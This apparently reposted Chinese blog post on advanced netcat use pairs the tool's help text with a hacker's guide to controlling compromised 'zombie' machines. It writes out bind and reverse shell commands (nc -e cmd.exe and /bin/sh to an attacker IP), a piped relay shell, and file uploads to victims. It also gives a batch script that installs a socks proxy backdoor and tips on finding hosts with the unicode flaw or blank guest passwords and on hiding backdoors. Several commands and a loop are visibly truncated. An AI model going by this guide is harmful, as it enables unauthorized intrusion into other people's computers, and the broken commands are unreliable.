nc.exe高级技巧应用汇总


nc.exe高级技巧应用汇总
2012年01月06日
  文章结构
  0. 写在前面的话
  1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息
  2. Netcat 1.10 for NT 帮助信息
  3. Netcat 1.10 常用的命令格式
  4. 管理肉鸡,更改肉鸡设置
  5. 下载连接
  6. 后记
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  0. 写在前面的话
  ######################################################################
  最近工作比较空闲,老是想着怎么自动telnet肉鸡,自动执行命令。来管理自己的肉鸡。
  自己写一个程序。功底是不够的,所以只有看了看nc的帮助信息,虽然只看了个半懂,
  但是借助于金山词霸2002版本, 还是明白了一点东西.
  我觉的有必要再总结一下.反正主要是满足我自己的需要.
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  1. Netcat 1.10 for NT - nc11nt.zip
  ######################################################################
  Basic Features
  * Outbound or inbound connections, TCP or UDP, to or from any ports
  * Full DNS forward/reverse checking, with appropriate warnings
  * Ability to use any local source port
  * Ability to use any locally-configured network source address
  * Built-in port-scanning capabilities, with randomizer
  * Can read command line arguments from standard inputb
  * Slow-send mode, one line every N seconds
  * Hex dump of transmitted and received data
  * Ability to let another program service established
  connections
  * Telnet-options responder
  New for NT
  * Ability to run in the background without a console window
  * Ability to restart as a single-threaded server to handle a new
  connection
  ________________________________________________________________________
  Some of the features of netcat are:
  Outbound or inbound connections, TCP or UDP, to or from any ports
  Full DNS forward/reverse checking, with appropriate warnings
  Ability to use any local source port
  Ability to use any locally-configured network source address
  Built-in port-scanning capabilities, with randomizer
  Built-in loose source-routing capability
  Can read command line arguments from standard input
  Slow-send mode, one line every N seconds
  Optional ability to let another program service inbound connections
  Some of the potential uses of netcat:
  script backends
  Scanning ports and inventorying services
  Backup handlers
  File transfers
  Server testing and simulation
  Firewall testing
  Proxy gatewaying
  Network performance testing
  Address spoofing tests
  Protecting X servers
  1001 other uses you`ll likely come up with
  Netcat + Encryption = Cryptcat
  对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.
  1.1 NC.EXE是一个非标准的telnet客户端程序,
  1.2 还有一个putty.exe客户端程序,提供四种连接模式
  -raw -telnet -rlogin -ssh.
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  2. Netcat 1.10 for NT 帮助信息
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  C:/WINDOWS/Desktop>nc -h
  [v1.10 NT]
  connect to somewhere: nc [-options] hostname port[s] [ports] ...
  listen for inbound: nc -l -p port [options] [hostname] [port]
  options:
  -d detach from console, background mode (后台模式)
  -e prog inbound program to exec [dangerous!!]
  -g gateway source-routing hop point[s], up to 8
  -G num source-routing pointer: 4, 8, 12, ...
  -h this cruft (本帮助信息)
  -i secs delay interval for lines sent, ports scanned (延迟时间)
  -l listen mode, for inbound connects (监听模式,等待连接)
  -L listen harder, re-listen on socket close (连接关闭后,仍然继续监听)
  -n numeric-only IP addresses, no DNS (ip数字模式,非dns解析)
  -o file hex dump of traffic (十六进制模式输出文件,三段)
  -p port local port number (本地端口)
  -r randomize local and remote ports (随机本地远程端口)
  -s addr local source address (本地源地址)
  -t answer TELNET negotiation
  -u UDP mode
  -v verbose [use twice to be more verbose] (-vv 更多信息)
  -w secs timeout for connects and final net reads
  -z zero-I/O mode [used for scanning] (扫描模式,-vv)
  port numbers can be individual or ranges: m-n [inclusive]
  ######################################################################
  3. Netcat 1.10 常用的命令格式
  ######################################################################
  下面引用 《沉睡不醒 10月15日凌晨》的文章的部分。
  3.1.端口的刺探:
  nc -vv ip port
  RIVER [192.168.0.198] 19190 (?) open //显示是否开放open
  3.2.扫描器
  nc -vv -w 5 ip port-port port
  nc -vv -z ip port-port port
  这样扫描会留下大量的痕迹,系统管理员会额外小心
  3.3. 后门
  victim machine: //受害者的机器
  nc -l -p port -e cmd.exe //win2000
  nc -l -p port -e /bin/sh //unix,linux
  attacker machine: //攻击者的机器.
  nc ip -p port //连接victim_IP,然后得到一个shell。
  3.4.反向连接
  attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.
  //或者wollf的反向连接.
  nc -vv -l -p port
  victim machine:
  nc -e cmd.exe attacker ip -p port
  nc -e /bin/sh attacker ip -p port
  或者:
  attacker machine:
  nc -vv -l -p port1 /*用于输入*/
  nc -vv -l -p prot2 /*用于显示*/
  victim machine:
  nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
  nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
  139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)
  这样就可以保证nc.exe优先于NETBIOS。
  3.5.传送文件:
  3.5.1 attacker machine  path/file.txt /*victim machine*/ 需要Ctrl+C退出
  //肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.
  3.5.2 attacker machine --> victim machine //上传命令文件到肉鸡
  nc -vv -l -p port > path/file.txt      /*victim machine*/ 需要Ctrl+C退出
  nc -d victim_ip port a.cmd
  @echo s >>a.cmd
  @echo cd /d %%windir%%/system32/ >>a.cmd
  @net stop "sksockserver" >>a.cmd
  @snake.exe -config port 11111 >>a.cmd
  @net start "sksockserver" >>a.cmd
  @exit >>a.cmd
  :auto
  @for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 >80.txt
  goto start
  把防火墙关掉以后运行这个批处理,会监听到许多探测U漏洞的信息,大多
  是三条一组--妮姆达病毒扫描你的。这样就会得到肉鸡的.虽然质量不高.
  但是也是一种便宜的办法.
  肉鸡特征:
  1。unicode漏洞
  2。guest密码为空,administrators组用户
  3。其他漏洞
  自己慢慢的爽去吧。不过,再次强调一句,不建议而且是不能破坏国内主机,上去以后将tftp.exe改名。然后用pskill干掉mmc.exe进程,之后是杀毒。做好后门以后,将guest帐号停用,以对付傻瓜扫描器
  ######################################################################
  5. 下载连接
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  5.1 http://www.atstake.com/research/tools/network_utilities/
  Tool: Netcat 1.10 for Unix
  Version: 03.20.96
  Platforms: *nix
  Tool: Netcat 1.1 for Win 95/98/NT/2000
  Version: 02.08.98
  Platforms: Runs on Win 95/98/NT/2000
  5.2 http://www.xfocus.net/download.php?id=320
  名称: cryptcat_nt.zip 更新时间: 2002-04-05
  类别: 网络工具 平台: Win9x/NT/2000 大小: 115.8K 提交: maxilaw
  简介: 加密传输的nc。
  5.3 http://content.443.ch/pub/security/blackhat/Networking/nc/ 国外的网站
  10.03.02 15:48 1305 cryptcat.txt
  10.03.02 15:48 245760 cryptcat_linux2.tar
  10.03.02 15:48 118533 cryptcat_nt.zip

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转载自mof51mof.iteye.com/blog/1353678